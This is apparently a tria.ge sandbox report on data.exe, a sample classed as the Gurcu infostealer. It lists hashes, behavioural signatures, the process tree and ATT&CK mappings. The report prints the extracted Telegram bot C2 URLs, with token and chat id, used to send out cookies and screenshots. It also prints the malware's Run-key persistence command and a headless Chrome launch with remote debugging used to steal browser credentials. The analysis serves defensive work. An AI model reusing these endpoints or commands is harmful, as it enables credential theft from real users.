Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2025, 15:09
Static task
static1
Behavioral task
behavioral1
Sample
data.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
data.exe
Resource
win10v2004-20241007-en
General
-
Target
data.exe
-
Size
5.7MB
-
MD5
fb25fdd6ff14150c12aadd9ee2d1a132
-
SHA1
3cfb3536cd95f0b45e3540241b29aaac8195969b
-
SHA256
30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c
-
SHA512
ffa52a7225aab5c5518d2ec872b20bb81a964b41205308cb72356e8f443b333a89239920989ffe032f5b5009d34ea04c4ffa8944e648633321c9a6685a3d9494
-
SSDEEP
98304:m2+l27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Ucz:moOuK6mn9NzgMoYkSIvUcwti7TQlvciE
Malware Config
Extracted
gurcu
https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb
https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=-1002258988684
https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%B8Screenshot%20take
Signatures
-
Gurcu family
-
Uses browser remote debugging 2 TTPs 1 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
pid Process 1784 chrome.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation data.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation conhost.exe -
Executes dropped EXE 1 IoCs
pid Process 4092 conhost.exe -
Loads dropped DLL 2 IoCs
pid Process 1700 data.exe 4092 conhost.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdate\\conhost.exe" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 11 raw.githubusercontent.com 12 raw.githubusercontent.com 28 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3968 tasklist.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 conhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier conhost.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2684 timeout.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1664 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 1700 data.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe 4092 conhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1700 data.exe Token: SeDebugPrivilege 3968 tasklist.exe Token: SeDebugPrivilege 4092 conhost.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe Token: SeCreatePagefilePrivilege 1784 chrome.exe Token: SeShutdownPrivilege 1784 chrome.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1700 wrote to memory of 3604 1700 data.exe 95 PID 1700 wrote to memory of 3604 1700 data.exe 95 PID 3604 wrote to memory of 1808 3604 cmd.exe 97 PID 3604 wrote to memory of 1808 3604 cmd.exe 97 PID 3604 wrote to memory of 3968 3604 cmd.exe 98 PID 3604 wrote to memory of 3968 3604 cmd.exe 98 PID 3604 wrote to memory of 4832 3604 cmd.exe 99 PID 3604 wrote to memory of 4832 3604 cmd.exe 99 PID 3604 wrote to memory of 2684 3604 cmd.exe 101 PID 3604 wrote to memory of 2684 3604 cmd.exe 101 PID 3604 wrote to memory of 4092 3604 cmd.exe 102 PID 3604 wrote to memory of 4092 3604 cmd.exe 102 PID 4092 wrote to memory of 4444 4092 conhost.exe 106 PID 4092 wrote to memory of 4444 4092 conhost.exe 106 PID 4444 wrote to memory of 1664 4444 cmd.exe 108 PID 4444 wrote to memory of 1664 4444 cmd.exe 108 PID 4092 wrote to memory of 1784 4092 conhost.exe 110 PID 4092 wrote to memory of 1784 4092 conhost.exe 110 PID 1784 wrote to memory of 1952 1784 chrome.exe 111 PID 1784 wrote to memory of 1952 1784 chrome.exe 111 PID 1784 wrote to memory of 1968 1784 chrome.exe 112 PID 1784 wrote to memory of 1968 1784 chrome.exe 112 PID 1784 wrote to memory of 5024 1784 chrome.exe 113 PID 1784 wrote to memory of 5024 1784 chrome.exe 113
Processes
-
C:\Users\Admin\AppData\Local\Temp\data.exe"C:\Users\Admin\AppData\Local\Temp\data.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat2⤵
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:1808
-
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 1700"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3968
-
-
C:\Windows\system32\find.exefind ":"3⤵PID:4832
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak3⤵
- Delays execution with timeout.exe
PID:2684
-
-
C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f4⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f5⤵
- Adds Run key to start application
- Modifies registry key
PID:1664
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --headless --no-sandbox --disable-gpu4⤵
- Uses browser remote debugging
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff975c1cc40,0x7ff975c1cc4c,0x7ff975c1cc585⤵PID:1952
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1484,i,12141494683127054179,1806769446069481268,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1468 /prefetch:25⤵PID:1968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --headless --field-trial-handle=1664,i,12141494683127054179,1806769446069481268,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1660 /prefetch:35⤵PID:5024
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Modify Authentication Process
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
-
Filesize
283B
MD5e5631ba1c2866aa1d26e6cd59b0d07af
SHA1441c8729199533be3c224c7781f080621944edaa
SHA256b82cb2368456448f827e6e76b55144ca450dc7f78c52c1585c46498468a5242f
SHA51298039d0eeef9a0ea75819fd60f2af0638456bac10ffbdeb899768157455d20e6f1e7818e19ac7ea798fd5482337ee5f5b51f749a5cc7063bbb5243f674da15ae
-
Filesize
5.7MB
MD5fb25fdd6ff14150c12aadd9ee2d1a132
SHA13cfb3536cd95f0b45e3540241b29aaac8195969b
SHA25630aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c
SHA512ffa52a7225aab5c5518d2ec872b20bb81a964b41205308cb72356e8f443b333a89239920989ffe032f5b5009d34ea04c4ffa8944e648633321c9a6685a3d9494